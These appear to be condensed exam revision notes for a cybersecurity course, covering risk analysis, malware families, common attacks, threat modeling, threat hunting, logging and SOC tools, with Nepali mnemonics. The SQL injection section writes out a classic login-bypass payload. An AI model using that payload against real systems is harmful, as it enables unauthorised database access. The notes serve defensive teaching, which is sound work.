- Tools: weighted factor analysis (value); TVA worksheet (threat, vulnerability, asset)
Risk assessment HOT 1/4
- Versus identification: identification lists risks; assessment rates and ranks them
- Example (2082 Bhadra): value 100, data 80% accurate; vulnerability 1: ; vulnerability 2:
- Ranked worksheet: impact × likelihood, sorted; treat from the top
- Risk matrix: 5 × 5, likelihood by impact; low to critical
Quantitative risk analysis TOP 2/4
Quantitative risk analysis: risk in money and frequency; expected yearly loss against a control's yearly cost
Terms
- AVasset value
- EFexposure factor
- SLEsingle loss expectancy
- AROannualized rate of occurrence
- ALEannualized loss expectancy
- ACSannual cost of safeguard
- LCD warranty: SLE USD 500, ARO 3, ALE USD 1,500; 3,000 lost over two years against 2,000: buy
- Qualitative: ratings, judgement, risk matrix
Security controls PREDICTED
Security control: a safeguard or countermeasure that reduces the likelihood or impact of a risk
By type
- Administrativepolicies, training
- Technicalfirewall, encryption, MFA
- Physicallocks, guards, CCTV
By function
- Directivepolicy, signs
- Deterrentwarning banner
- Preventivefirewall, MFA
- DetectiveIDS, logs
- Correctivepatch, quarantine
- Recoverybackup restore
- Compensatingsegment legacy system
- Mnemonic: Disha Darauchhe; Prahari Dekhchha, Chhito Rupaiyaan Chhopchha
- Selecting: by risk ranking; mixed types and functions; cost below the loss
Risk treatment PREDICTED
Risk treatment: analysing and implementing the possible responses to control a risk; also called risk control or risk response
Four strategies
- AvoidanceHTTPS, not HTTP
- Transferenceinsurance, warranty
- Mitigationpatching, IRP
- Acceptanceminor bug
- Termination: remove the asset or end the activity
- Residual risk: what remains; inside the appetite, documented, owned by the risk owner
NIST RMF TOP 2/4
NIST RMF: NIST's seven-step process (SP 800-37) for managing security and privacy risk to a system across its life cycle
Seven steps
- Prepare
- Categorizeby impact
- Selecttailored baseline
- Implement
- Assess
- Authorizerisk accepted
- Monitor
- Mnemonic: Pahilo Chiya Sakera Ilam Aaipugda Aama Murchhit
- Can't boil the ocean: cannot protect every asset from every threat; prioritise by risk
Prioritising
- Know what matters
- Spend in proportion
- Accept residual risk
- Scope a boundary
- Iterate
Policies and procedures PREDICTED
Security policy: senior management's high-level statement of security intent, made specific by standards, baselines, guidelines and procedures
| Level | Mandatory | Example |
|---|---|---|
| Standard | yes | AES-256 at rest |
| Baseline | yes, minimum | CIS level 1 hardening |
| Guideline | no | use central key service |
| Procedure | yes | how to enable encryption |
- Need: consistency, compliance, commitment, legal protection, quick incident response
- Cheapest control: only management's time to write, approve, communicate
- Hardest to implement: people must change; weak commitment, impractical rules
Due care and due diligence PREDICTED
Due care and due diligence: care is acting as a prudent person would (do correct); diligence is investigating and verifying (do detect)
- Negligence: duty, breach, causation, damages; missing due care is the breach
- Example (Equifax, 2017): known Struts patch never applied
Chapter 2: Malware and cyber attacks
9 hours · 15 of 80 marks in the syllabus · in all 4 sittings
Malware and its families PREDICTED
Malicious code (malware): programmed threats that exploit network, operating system, software and physical security vulnerabilities to spread malicious payloads to computer systems
- Classified by: propagation (needs a human, or spreads itself); payload (harm to C, I or A)
Ten families
- Virus
- Worm
- Trojan horse
- Ransomware
- Logic bomb
- Botnet
- Spyware
- Adware
- Rootkit
- Back door
- Mnemonic: VIP Waiter Thamelma Rakshi Lukaera Bechyo; Saathi Aayera Ramrari Bajaayo
Computer viruses PREDICTED
Computer virus: malicious code that attaches to a host program, boot record or document and runs when the host runs
Propagation techniques
- Master boot record (MBR)
- File infector
- Macro
- Service injection
Virus technologies
- Multipartite
- Stealth
- Polymorphic
- Encrypted
- Metamorphic
- Mnemonic: Mama Sasurali Pugera Eklai Mutyo
- Defence: antivirus (signatures, heuristics), patching, macros blocked, backups
Worms PREDICTED
Worm: standalone malicious code that copies itself from system to system without any human action, through vulnerable network services or weak credentials
- Example (WannaCry, 2017): ransomware worm through SMBv1 (EternalBlue); patch MS17-010 already out
- Defence: patch exposed services, close unneeded ones, segment the network, strong passwords
Virus, worm and Trojan horse PREDICTED
Trojan horse: software that appears benevolent or useful but carries a malicious payload behind the scenes; it does not replicate
| Point | Virus | Worm | Trojan horse |
|---|---|---|---|
| Function | infects a host | replicates across networks | deceives the user |
| Host file | yes | no, standalone | no, is the program |
| Spreads by | human action | itself | user installing it |
| Replicates | yes | yes, fast | no |
| Example | Melissa | WannaCry | Emotet |
Logic bombs, botnets, spyware, adware PREDICTED
- Logic bombdormant until triggered
- Botnetbots, C2 server
- Spywaresteals data
- Adwareunwanted adverts
- Example (Mirai, 2016): botnet of IoT devices with default passwords; DDoS
Ransomware and the extortion ladder HOT 1/4
Ransomware: malware that denies victims access to their data, usually by encryption, and demands a ransom, usually in cryptocurrency, for the key
- RaaS (Ransomware-as-a-Service): developers build and maintain it; affiliates spread it; ransom shared
Extortion ladder
- Singleencrypt
- Doubleplus leak threat
- Tripleplus DDoS
- Quadrupleplus customers contacted
- Examples: WannaCry, Ryuk (encryption); Maze (double extortion)
Ryuk chain, prevention and recovery PREDICTED
Ryuk chain
- Phishing email
- Word macro
- PowerShell
- Emotet
- TrickBot
- Ryuk encrypts
- Prevent: email filtering, macro blocking, EDR, segmentation, least privilege, patching
- Recover: offline, tested backups (3-2-1); incident response plan
Propagation routes PREDICTED
Propagation: the route malicious code takes from the attacker, or an infected system, to a new one
Need a human
- Email attachments, links
- Drive-by downloads
- Removable media
- File sharing, social media
Need only a weakness
- Vulnerable network services
- Weak, default credentials
- Shares and admin tools
- Trojanised updates
Advanced persistent threats PREDICTED
APT
- Advancedcustom tools, zero-days
- Persistentmonths or years
- Threatintent, capability
- Lifecycle phases: preparation, intrusion, mission
- Example (SolarWinds, 2020): APT29 (Russia's SVR) hidden in signed Orion updates for months
Supply chain compromise PREDICTED
- Point: one trusted supplier compromised; its signed product reaches every customer
- SolarWinds Orion (2020): SUNBURST backdoor in signed updates; APT29
- Stuxnet (2010): USB and zero-days; sabotaged Iran's centrifuge PLCs
- Defence: vendor risk assessment, SBOM, secure builds
Social engineering and phishing PREDICTED
Social engineering: manipulating people, rather than machines, into revealing information, granting access or running something they should not
Types
- Phishing
- Spear phishingtargeted
- Whalingexecutives
- Vishingvoice
- SmishingSMS
- QuishingQR codes
- Pretexting
- Baiting
- Tailgating
- Dumpster diving
- Mnemonic: Pradhan Sir Whisky Vodka Sanga Quarter Piyera Busma Thakera Dhalkiyo
Phishing indicators
- Urgency
- Look-alike sender
- Strange link
- Odd hours
- Unexpected attachment
- Countermeasures: awareness training, simulated phishing, SPF, DKIM, DMARC, phishing-resistant MFA
DoS, DDoS and flood attacks PREDICTED
DoS (denial of service): an attack on availability that stops legitimate users reaching a system or service, by flooding it or crashing it
- DoS vs DDoS: one source vs many, usually a botnet; Mirai (2016)
Smurf attack
- Spoof victim's IP
- Ping a broadcast address
- Every host replies
- Victim flooded
Flood attacks
- SmurfICMP
- FraggleUDP
- Ping flood
- SYN flood
- Mitigation: drop directed broadcasts, ingress filtering, rate limiting, scrubbing
IDS and IPS PREDICTED
| Point | IDS | IPS |
|---|---|---|
| Position | passive, copy of traffic | inline |
| Action | alerts | blocks |
- Detection: knowledge-based (signatures, known attacks); behavior-based (anomaly, more false alarms)
- Where: HIDS (host), NIDS (network)
Man-in-the-middle attacks PREDICTED
Man-in-the-middle (MITM) attack: the attacker secretly sits between two parties who believe they talk directly, and reads, changes or injects their traffic
| Phase | Interception | Decryption |
|---|---|---|
| Problem | position | readability |
| Technique | ARP spoofing | SSL stripping |
| Defence | dynamic ARP inspection, VPN | HSTS, heed certificate warnings |
Zero-days and Exchange 2021 COURSE
Zero-day vulnerability: a security flaw in software or hardware unknown to the vendor, with no patch available
Why dangerous
- Signatures miss it
- No patch
- Nation-state use
- Window of exposure
- Exchange 2021: four zero-days (ProxyLogon), HAFNIUM; web shells, credentials, AD database stolen
- Alerts without signatures: EDR, file integrity monitoring, web logs, egress monitoring, threat hunting
- Patch not enough: web shells, stolen credentials stay; remove shells, reset credentials, rebuild AD
Password attacks PREDICTED
Password attack: gaining access to an account by finding or reusing its password, when the password is unknown or only its hash is obtained
Five attacks
- Guessingone account
- Dictionaryword list
- Brute forceevery combination
- Sprayingmany accounts
- Credential stuffingbreached credentials
- Online vs offline: live login, lockout; stolen hashes, no lockout
- Defence: MFA, breached-password screening, lockout, salted slow hashing (bcrypt, Argon2)
Buffer overflow, TOCTOU, back doors, rootkits TOP 2/4
Buffer overflow: a flaw where a developer does not check that input fits its fixed-size buffer; too-large input overwrites adjacent memory
Exploit
- Long input
- Overflows buffer
- Overwrites return address
- Shellcode runs
- Defences: bounds checks, safe functions, stack canaries, ASLR, DEP
- TOCTOU: race condition; resource changes between check and use; two transfers pass one balance check
- Back door: undocumented bypass of authentication
Rootkits hide the attacker, by depth
- User mode
- Kernel mode
- Bootkit
- Firmware
Cross-site scripting (XSS) TOP 3/4
Cross-site scripting (XSS): injecting malicious script, usually JavaScript, into a trusted site's pages; it runs in the victim's browser with the site's privileges
| Point | Reflected | Stored | DOM-based |
|---|---|---|---|
| Payload in | the request (URL) | the site's database | client-side script, DOM |
| Runs when | server echoes it | any viewer loads it | page script inserts it |
| Mitigation | output encoding, CSP | encode output, sanitise | textContent, no innerHTML |
- Harm: stolen cookies, hijacked sessions
Cross-site request forgery (XSRF) TOP 2/4
Cross-site request forgery (XSRF, CSRF): making a logged-in victim's browser send a forged, state-changing request; the session cookie goes with it
- Trust abused: the site's trust in the browser (XSS: the user's trust in the site)
Bank example
- Victim logs in
- Clicks forged link
- Browser sends transfer
- Bank executes it
Defences
- Anti-CSRF tokens
- SameSite cookies
- Origin, Referer check
- No GET state changes
- Re-authentication
SQL injection TOP 2/4
SQL injection: unexpected input that breaks out of its data position and runs as part of the SQL query, giving unauthorised access to the database
- Login bypass:
' OR '1'='1' --makes the WHERE test always true
Protection
- Prepared statements
- Input validation
- Least privilege DB account
| Point | SQL injection | Reflected XSS |
|---|---|---|
| Target | backend database | victim's browser |
| Code runs | database server | browser |
| Fix | prepared statements | output encoding, CSP |
The four web vulnerabilities TOP 2/4
Four critical web vulnerabilities: XSS, XSRF, buffer overflow and SQL injection; three inject code (script, SQL, machine code), XSRF forges a request
One request path, four trusts abused
Building resilience
- Input validation
- Output encoding
- Parameterised queries
- Tokensanti-CSRF
- Session hardening
- CSP
- Memory safety
- Least privilege
- Error handling
- Testing and patching
- Mnemonic: Ishwor Oralo Pasalma Tin Samosa Chorera, Mukhiyale Lathale Ekdam Thokyo
Reconnaissance attacks PREDICTED
Reconnaissance: gathering information about a target to find the weak points worth attacking; the first stage of the cyber kill chain
- Passive vs active: OSINT, no contact; packets sent to the target, detectable
Active, in order
- IP probelive hosts
- Port scanopen services
- Vulnerability scanexploitable flaws
- Tools: Nmap, Nessus
- Defence: block ICMP echo, close ports, IDS scan alerts, patch first
Masquerading attacks PREDICTED
Masquerading attack: pretending to be a trusted system or authorised user to gain access that would otherwise be refused
- Two forms: IP spoofing (machine faked); session hijacking (user's session stolen)
IP spoofing: perimeter filters
- No inbound internal source
- No outbound external source
- No private addresses
Session hijacking techniques
- Captured authentication
- Middleman
- Unclosed session
- Session defences: HTTPS, new random ID at login,
HttpOnlycookies, timeouts
Specific preventive measures PREDICTED
Deception
- Honeypot
- Honeynet
- Pseudo flawfake vulnerability
- Padded cellsilent transfer
- Warning banner
Blocking
- Anti-malware
- Allowlisting
- Firewalls
- Sandboxing
- Penetration testing: black box, white box, gray box
Logging, monitoring and auditing PREDICTED
Techniques
- Audit trails
- Sampling
- Clipping levels
- Keystroke monitoring
- Traffic, trend analysis
- Egress monitoring
- DLP
- Clipping level: threshold; only events above it reported
- DLP: network-based, endpoint-based
Security best practice PREDICTED
Against malware
- Anti-malware
- Patching
- Least privilege
- Strong passwords
- Awareness training
- Email filtering
- Firewalls
- Removable media caution
Remote work
- Zero trust
- Endpoint security
- Backups
- Strong authentication
- Secure Wi-Fi
- No public Wi-Fi
Chapter 3: Cyber threat modeling and threat hunting
9 hours · 15 of 80 marks in the syllabus · in all 4 sittings
Threat intelligence HOT 1/4
Threat intelligence: evidence-based knowledge, including context, mechanisms, indicators, implications and actionable advice, about an existing or emerging menace or hazard to assets, used to inform decisions on the response
Ladder
- Data
- Information
- Intelligence
Uses
- Strengthen defenses
- Identify current threats
- Uncover the unknowns
- Focus hunt hypotheses
Types of threat intelligence PREDICTED
Types of threat intelligence: strategic, operational and tactical (technical), sorted by who acts on it and how soon it goes stale
| Type | Audience | Purpose | Horizon |
|---|---|---|---|
| Strategic | CISO, board, executives | strategy, investment, risk | months to years |
| Operational | SOC manager, IR teams | active campaigns: patch, brief, new rules | days to weeks |
| Tactical | SIEM, firewall, EDR, analysts | IoC feeds: block, alert automatically | hours |
- Example (TA577, Qakbot): one campaign at three levels: CISO report, SOC advisory, SIEM IoC feed
Pyramid of Pain PREDICTED
Pyramid of Pain: David Bianco's ranking of six indicator types by the pain caused to the adversary when defenders detect and deny them
- Levels, base up: hash values, IP addresses, domain names, network and host artifacts, tools, TTPs
- Pain: trivial, easy, simple, annoying, challenging, tough
- Moving up: costlier to change; one TTP rule (Office starting PowerShell) catches every macro campaign; lasts months
Threat intelligence lifecycle PREDICTED
Threat intelligence lifecycle: a continuous six-phase loop that turns raw data into actionable intelligence for decision makers
Six phases
- Planning and direction
- Collection
- Processing
- Analysis
- Dissemination
- Feedback
- Key terms: priority intelligence requirements, PIRs (planning); confidence levels (analysis); TLP (dissemination)
- Mnemonic: Pujari Chiya Piudai Aafno Dhoti Fyaakyo
Threat intelligence sources and sharing PREDICTED
Threat intelligence sources: where the collection phase gets its raw data
Sources
- OSINT
- Commercial feeds
- Government, ISACs
- Internal telemetry
- Human intelligence
- Sharing: STIX (format), TAXII (HTTPS transport), MISP platform, ISAC communities
TLP, how far a report travels
- REDnamed recipients only
- AMBER+STRICTown organization
- AMBERorganization, clients
- GREENcommunity
- CLEARno limit
Threat modeling PREDICTED
Threat modeling: a structured process to identify, analyze and prioritize threats to a system, ideally during design
Four questions
- What are we building?
- What can go wrong?
- What do we do about it?
- Did we do a good job?
| Point | Proactive (defensive) | Reactive (adversarial) |
|---|---|---|
| When | design, before build | after build, deployment |
| Methods | DFD with STRIDE, SDL | penetration testing, fuzzing, code review |
| Cost of fix | lowest | highest |
| Example | DFD flags API trusting the account number | tester reads another customer's balance |
Threat modeling process PREDICTED
Six steps
- Identify assets
- Architecture overview
- Decompose the application
- Identify threats
- Document threats
- Rate threats
Reduction analysis identifies
- Trust boundaries
- Data flow paths
- Input points
- Privileged operations
- Security stance
STRIDE TOP 3/4
STRIDE: Microsoft's threat categorization model: six threat types checked against each element of a data flow diagram during design
Six threats
- Spoofing
- Tampering
- Repudiation
- Information disclosure
- Denial of service
- Elevation of privilege
- Violates: authentication, integrity, non-repudiation, confidentiality, availability, authorization (in order)
- Pairs with: DREAD rates what STRIDE finds; PASTA adds business risk
DREAD HOT 1/4
DREAD: Microsoft's scoring model to rate and rank threats once found; five risk dimensions, each scored 1 to 10
Five dimensions
- Damage potential
- Reproducibility
- Exploitability
- Affected users
- Discoverability
| Pen test finding | Score | Action |
|---|---|---|
| SQL injection, login page | 8.8 | fix first: parameterized queries |
| Exposed admin panel | 7.6 | VPN or allow list, MFA |
| Verbose error messages | 6.6 | generic errors |
- Weakness: subjective scores
PASTA TOP 2/4
PASTA: Process for Attack Simulation and Threat Analysis; a seven-stage, risk-centric threat modeling methodology, from business objectives to business impact
Seven stages
- Define objectives
- Define technical scope
- Application decomposition
- Threat analysis
- Vulnerability and weakness analysis
- Attack modeling and simulation
- Risk and impact analysis
- Mnemonic: Oi Sasu, Daal Tato Vayena, Aba Ruwauchhu
- Fit: STRIDE finds, DREAD rates, PASTA wraps both in business risk
Cyber Kill Chain TOP 4/4
Cyber Kill Chain: Lockheed Martin's model of the seven stages an attacker must complete; breaking any one stops the attack
- Reconnaissance
- Weaponization
- Delivery
- Exploitation
- Installation
- Command and control
- Actions on objectives
- Example (Ryuk): phishing email (delivery); Word macro (exploitation); Emotet, TrickBot (installation, C2); Ryuk encrypts (actions)
- Aids: detection at each stage; response prioritised by stage; mitigation by breaking one link
- Mnemonic: Ramesh WiFi Dekhera Ekdam Ijjat Chhodera Aaipugyo
MITRE ATT&CK HOT 1/4
MITRE ATT&CK: Adversarial Tactics, Techniques, and Common Knowledge; a free knowledge base of real-world adversary behavior, built from observed intrusions
Levels
- Tacticsthe why
- Techniquesthe how
- Sub-techniques
- Proceduresone group's use
- Example (Ryuk): Initial Access, phishing (T1566); Execution, PowerShell (T1059.001); Credential Access, TrickBot; Impact, Ryuk encrypts
| Point | Kill Chain | ATT&CK |
|---|---|---|
| Shape | 7 linear stages | 15 tactics, any order |
| Detail | stages only | techniques, sub-techniques, procedures |
| Use | explaining, defense in depth | detection, hunting, gap analysis |
Threat hunting HOT 1/4
Threat hunting: the proactive, human-led search through an organization's data for threats that have evaded automated security tools, before they cause damage
- Assume breach: the guiding principle; attacker already inside; hunt for its traces
- Inputs: threat intelligence (what to hunt); ATT&CK (TTP hypotheses, gaps); kill chain (which stage)
How it helps
- Finds what tools miss
- Shrinks dwell time
- Surfaces visibility gaps
- Improves detection
Prerequisites
- Logging and visibility
- Baseline of normal
- Trained analysts
- Threat intelligence
- Leadership buy-in
- Repeatable methodology
Threat hunting lifecycle PREDICTED
Five steps
- Trigger or hypothesis
- Investigate
- Uncover
- Respond
- Inform
Six-step version
- Identify data sources
- Assess data quality
- Baseline systems
- Interpret threat reports
- Generate and run a hypothesis
- Post-hunt activities
Threat hunting approaches PREDICTED
Threat hunting approach: how a hunt starts: from a hypothesis, from intelligence or from analytics
Three approaches
- Hypothesis-drivenATT&CK TTPs
- Intelligence-drivennew IoCs, reports
- Analytics-drivenML-flagged outliers
Three hypothesis types
- Awareness-basedcrown jewels, changes
- Intelligence-basedreports, IoC feeds
- Analytics-drivenstatistics, ML, UEBA
- Also: structured (from TTPs), unstructured (from an IoC), situational (entity-driven)
PEAK framework PREDICTED
PEAK: Prepare, Execute and Act with Knowledge
- Prepare
- Execute
- Act
- Knowledge
Hunt types
- Hypothesis-driven
- Baseline
- Model-assisted (M-ATH)
- ABLE scoping: Actor, Behavior, Location, Evidence
Diamond Model PREDICTED
Four features
- Adversary
- Capability
- Infrastructure
- Victim
- Example (Ryuk): criminal operators; Emotet, TrickBot, Ryuk; C2 servers; the phished organization
- Use: pivot from one corner to the rest; each kill chain stage its own diamond
Hunting Maturity Model PREDICTED
Five levels
- HMM0 Initial
- HMM1 Minimal
- HMM2 Procedural
- HMM3 Innovative
- HMM4 Leading
- Graded by: data collected, analysis sophistication; HMM4 automates successful hunts into detections
IoC and IoA PREDICTED
Indicator of compromise (IoC): forensic evidence of a breach, such as a malicious hash, IP address, domain, URL or registry key, used after the fact
Kinds
- AtomicIP, domain
- Computedfile hash
- Behavioralaction patterns
| Point | IoC | IoA |
|---|---|---|
| Question | what happened? | what is happening? |
| Timing | after the fact | real time |
| Nature | static artifacts | behaviors, sequences |
| Example | Ryuk file hash, C2 IP | Word starts PowerShell; shadow copies deleted |
| Evasion | easy | hard |
Identifying anomalies PREDICTED
Anomaly: a deviation from the baseline of normal for a user, host, application or network; a lead, not a verdict
Identifying
- Baseline normal
- Compare, flag deviations
- Validate with context
Three kinds
- Point
- Contextual
- Collective
Hunting techniques
- Searching
- Clustering
- Grouping
- Stacking
- Examples: baseline: clerk's usual 50 MB a day, 10 GB flagged; stacking: one service on 2 of 2,000 hosts
Hunter's toolkit PREDICTED
Hunter's toolkit: the data, tools and skills a threat hunt needs
Data
- SIEM logs
- EDR telemetry
- NetFlow
- DNS, Sysmon logs
Tools
- SIEM
- EDR
- MDR
- UEBA
- YARA
- osquery
- Sigma
- ATT&CK Navigator
Skills
- Hypothesis thinking
- Scripting
- OS internals
- Threat intel literacy
Hunting queries: SIEM, YARA, osquery, Sigma PREDICTED
One hypothesis, four forms
- SIEM searchpast logs
- osquerylive hosts
- Sigmafuture alerts
- YARAfiles, memory
- SIEM pivot:
label=Login label=Fail user="rita.mm" | chart count() by source_address - YARA rule parts: meta, strings, condition
Hunting playbook and hunt report PREDICTED
Playbook contents
- Hypothesis
- ATT&CK techniques
- Data sources
- Query, steps
- Expected findings
- Escalation path
- Hunt report: technical (SOC, IR: method, queries, IoCs); executive summary (impact, risk, plain language)
Four worked hunts PREDICTED
Four hunts
- Credentials to C2 callback
- Living-off-the-land lateral movement
- DNS tunneling exfiltration
- Insider data access
- DNS tunneling: high-entropy subdomains to one domain; Zeek, NetFlow; block domain, isolate host
- Each hunt: trigger, data, pivots, inference, outcome; then a new detection
Chapter 4: Log management, data visualization and security monitoring
7 hours · 12 of 80 marks in the syllabus · in 1 of the 4 sittings
What a log is COURSE
Log: a timestamped record of events generated by systems, applications or network devices
An entry holds
- Timestamp
- User
- Action, outcome
- Source IP
Website hacked: evidence left
- Web access log
- Web error log
- CMS log
- Database log
- Firewall, NetFlow
- OS logs
Facebook account hacked: investigate
- Preserve evidence
- Collect login history
- Build timeline
- Find cause
- Contain
- Report
Log management PREDICTED
Log management: the practice of continuously gathering, storing, processing, synthesizing and analyzing log data from disparate programs and applications
Importance
- Detect hackers
- Troubleshoot problems
- Monitor systems
- Meet compliance
- Forensic investigations
- Improve performance
Five benefits
- Unified data storage
- Improved security
- Improved observability
- Enhanced customer experience
- Faster troubleshooting
Log management functions PREDICTED
Log management functions: the seven things a log management tool does with log data, from collection to reporting
- Collection
- Monitoring
- Analysis and correlation
- Enrichment
- Retention
- Indexing or search
- Reporting
- Mnemonic: Chhuchhi Mausi Aayera Ekai Raat Inar Rittyain
- SIEM adds: normalization, threat context, live correlation, prioritized alerts; every SIEM does log management, not the reverse
Types of log HOT 1/4
Types of log: logs classified by what they record; nine types, all integrable into a SIEM
- Authentication
- Authorizationprivileges, role changes
- System
- Application
- Network
- Firewall
- Database
- SecurityIDS, antivirus alerts
- Auditcompliance trail
- Mnemonic: Ankal Aafno Saathi Aaunda Nashama Fridge Dhalera Sutnubhayo Aanganma
Log sources by layer COURSE
Log source: any device or application that writes logs; nearly all of them do
Every hop logs
- Internet
- Firewall
- Router
- Web server
- Database
- User endpoints
- Operating systems: Windows event logs; Linux syslog, auth.log
- Applications: web server access and error logs, databases, mail servers
- Network devices: firewalls, routers, switches, IDS, proxies, VPN, DNS
- Cloud: control plane audit logs, container logs, security findings
- Also: security tools, IoT, printers
Windows event logs PREDICTED
- Logs: Application, Security, Setup, System, Forwarded Events; read in Event Viewer
Security log IDs
- 4624logon
- 4625failed logon
- 4672admin logon
- 4688new process
- 4720account created
- 4732added to group
- 1102log cleared
Log collection and aggregation PREDICTED
Log collection and aggregation: moving log entries off the hosts that wrote them into one central store, in one shape, on one clock
- Agent based: software on each host reads, buffers, encrypts, forwards; servers, workstations
- Agentless: device pushes syslog (UDP 514, TLS 6514), or collector pulls (WEF, WMI, APIs); network devices, cloud
Aggregation jobs
- Tiered collection
- Clock alignmentNTP, UTC
- Filtering, deduplication
- Tagging
- Queueing
Log formats and parsing PREDICTED
- Parsing: raw entry into named fields (time, host, user, source, action)
Formats
- Syslogheader plus text
- CEFheader plus key=value
- JSONstructured, cloud
Log retention PREDICTED
Log retention: the policy setting how long each kind of log is kept, where, and how it is disposed of
Why keep logs
- Late discoverySolarWinds Orion (2020)
- Retro hunting
- CompliancePCI DSS
- Legal evidence
- Baselines
Deciding factors
- Law and regulation
- Contracts, standards
- Investigation reach
- Log type, value
- Storage cost
- Privacy
Storage tiers
- Hotdays to weeks
- Warmweeks to months
- Coldmonths to years
- Disposal
Log analysis, correlation and enrichment COURSE
Log analysis and correlation: analysis reviews collected logs to find bugs, threats or issues; correlation links events from different sources to find their relationships
- Difference: one source against many; correlation joins events on user, IP or host within a time window
- Suspicious: Admin failed login 37 times; investigate. Mary's login, printer connected: routine
Why enrichment is crucial
- Threat verdict
- Asset context
- Identity context
- GeoIP, DNS
- Enables correlation
- Saves analyst time
Correlation rules and use cases PREDICTED
Rule types
- Single event
- Threshold
- Sequence
- Cross source
- Absence
- Threat intelligence match
- Statistical
Use cases
- Brute force then success
- Password spraying
- Impossible travel
- New admin account
- Command and control
- Data exfiltration
- Leaver account
SIEM and its architecture HOT 1/4
SIEM (Security Information and Event Management): a platform that collects logs across the environment, normalizes and stores them, correlates them in real time and raises alerts
SIM plus SEM
- SIMstorage, analysis, reporting
- SEMmonitoring, correlation, alerting
Architecture, five stages
Raw data to intelligence
- Raw logs
- Normalization
- Storage
- Analytics
- Actionable intelligence
Used for
- Security
- Compliance
- Operations
SIEM processing pipeline PREDICTED
SIEM processing pipeline: the path a log takes inside the SIEM, from the device that wrote it to storage
- Devices
- Collect
- Parseinto fields
- Normalizeone schema
- Enrichadd context
- Routepick repository
- Storeindex, keep
- Processing policy: normalize, enrich, route; bundled and assigned per log source
- Mnemonic: Dami Chor Pasalma Nachyo, Ekchhin Royo, Samatiyo
Security data visualization PREDICTED
Security data visualization: turning log and alert data into charts that show trends, spikes, gaps, outliers and relationships at a glance
Roles
- Detection
- Investigation
- Communication
Common visualizations
- Time seriesfailed logins per hour
- Top Ntop source IPs
- Heat maplogons by hour
- Geographic maplogins by country
- Pie
- Histogram
- Scatter plot
- Link graph
- Timeline
Shneiderman's mantra
- Overview first
- Zoom and filter
- Details on demand
Security dashboards PREDICTED
- Dashboard: key information on one screen, monitored at a glance
A good dashboard
- One purpose, one audience
- Urgent panel top left
- One screen
- Numbers in context
- Drill down
- Actionable panels
- Measures: MTTD, MTTR, EPS, log source health
Chapter 5: Emerging technologies in security operations
4 hours · 8 of 80 marks in the syllabus · in all 4 sittings
Emerging technologies in the SOC HOT 1/4
Emerging technologies in security operations: the platforms a security operations center (SOC) uses to see, detect, investigate and respond at modern scale and speed: SIEM, SOAR, UEBA, EDR, NDR, XDR
Roles
- SIEMcentral brain, logs
- SOARconnective tissue, playbooks
- UEBAbehavior baselines, insiders
- EDRendpoint visibility, response
- NDRnetwork traffic, agentless
- XDRunified across layers
How they enhance posture
- Visibility
- Earlier detectionMTTD
- Faster responseMTTR
- Consistency
- Analyst focus
- Evidenceaudit, forensics
SIEM features and next-generation SIEM TOP 2/4
SIEM (security information and event management): aggregates and correlates logs from the whole environment and raises prioritized alerts; the SOC's searchable hub
Key features
- Collection, normalization
- Correlation
- Enrichment
- Alerting, prioritization
- Search, investigation
- Dashboards
- Reports, compliance
- Incident, case management
- Retention, forensics
- Mnemonic: Chhoro Chiya Eklai Aaphai Sakaayo; Didi Runchhin: Ijjat Raakha
- Next generation: plus UEBA, ML, threat intelligence, SOAR; cloud data lake; fewer false positives
- Enhances posture: single pane of glass; earlier detection; audit trails; forensics
SOAR TOP 2/4
SOAR (security orchestration, automation and response): connects the SOC's tools and runs repetitive response steps automatically through playbooks; every incident a case
Three functions
- Orchestrationtools via APIs
- Automationplaybooks, no click
- Responseact, close case
Key features
- Playbook builder
- Integration library
- Case management
- Human approval
- MetricsMTTD, MTTR
- SIEM vs SOAR: detect vs respond; logs vs alerts; rules vs playbooks
- Enhances posture: response from hours to minutes; analysts freed; consistent, auditable
SOAR playbook PREDICTED
- Playbook: repeatable workflow for one incident type, executable in SOAR
Phishing playbook
- Trigger
- Extract
- Enrich
- Decide
- Scope
- Approve
- Contain
- Close
- Cuts MTTR: lookups in seconds, any hour; people only decide and approve
UEBA HOT 1/4
UEBA (user and entity behavior analytics): baselines normal behavior for each user and entity, then flags significant deviations from it and from the peer group as risk
How it works
- Collect
- Baselineweeks, peer group
- Detectz-score
- Scorerisk points
- Investigate
Use cases
- Compromised account
- Insider data theft
- Privilege abuse
- Lateral movement
- Service account misuse
- Beats rules: valid credentials misused; per-user thresholds; unseen attacks
EDR HOT 1/4
EDR (endpoint detection and response): an agent on every endpoint that continuously records process, file, registry and network activity, detects malicious behavior and responds in real time, e.g. isolating the host
Four features
- Behavioral recording
- Suspicious activity detection
- Investigationprocess tree
- Incident containmentisolate host
- Beyond antivirus: behavior, not signatures; detection and response, not just prevention; catches fileless attacks
- Example (Ryuk): Word macro starts PowerShell; no bad file for antivirus; EDR isolates the host
NDR (network detection and response) PREDICTED
- Watches: raw traffic and flows, east-west and north-south; behavior, not signatures; no agent
Detects
- Lateral movement
- Beaconing
- DNS tunneling
- Exfiltration
- Encrypted trafficmetadata
- Rogue devices
- Beside EDR: sees unmanaged, IoT, OT devices; survives a killed agent
XDR HOT 1/4
XDR (extended detection and response): a platform that natively correlates signals across endpoint, network, email, cloud and identity into a single incident and responds across all layers from one console
| Point | EDR | XDR |
|---|---|---|
| Scope | endpoints only | endpoint, network, email, cloud, identity |
| View | one fragment | whole chain, one incident |
| Response | host | host, mailbox, account, network |
One attack, five layers
- Emailphishing link
- Identitynew-country sign-in
- Endpointmacro starts PowerShell
- NetworkSMB to server
- Cloudgigabytes uploaded
SOC visibility triad TOP 2/4
SOC visibility triad: three complementary sources of SOC visibility: SIEM (logs), EDR (endpoints) and NDR (network); an attacker who evades one is still seen by the other two
Why integration beats one alone
- Complementary blind spots
- Corroboration
- Survives evasion
- Fewer false positives
- Complete investigation
Integration and use cases PREDICTED
One incident, every tool
- UEBArisky login
- EDRWord, PowerShell, PsExec
- NDRbeaconing
- SIEMcorrelates
- XDRone incident
- SOARdisable, isolate, block
- Improvenew rule
- Challenges: cost, integration effort, data quality, alert fatigue, skills, automation risk, lock-in, privacy
Cloud security monitoring PREDICTED
- Shared responsibility: provider secures the cloud; customer secures, logs what is in it
Why harder
- Volume, cost
- Fragmented ownership
- No fixed perimeter
- Ephemeral, multi-cloud
Log sources
- Control-plane audit logs
- Cloud-native logs
- Container logs
- CSPM, CIEM, CWPP
Virtual CISO (vCISO) PREDICTED
- Model: part-time, remote CISO from a consultancy, for organizations that cannot afford a full-time one
- Why adopted: cost, talent shortage, compliance, interim cover, objectivity
Services
- Strategy
- Risk
- Policy
- Compliance
- Incident readiness
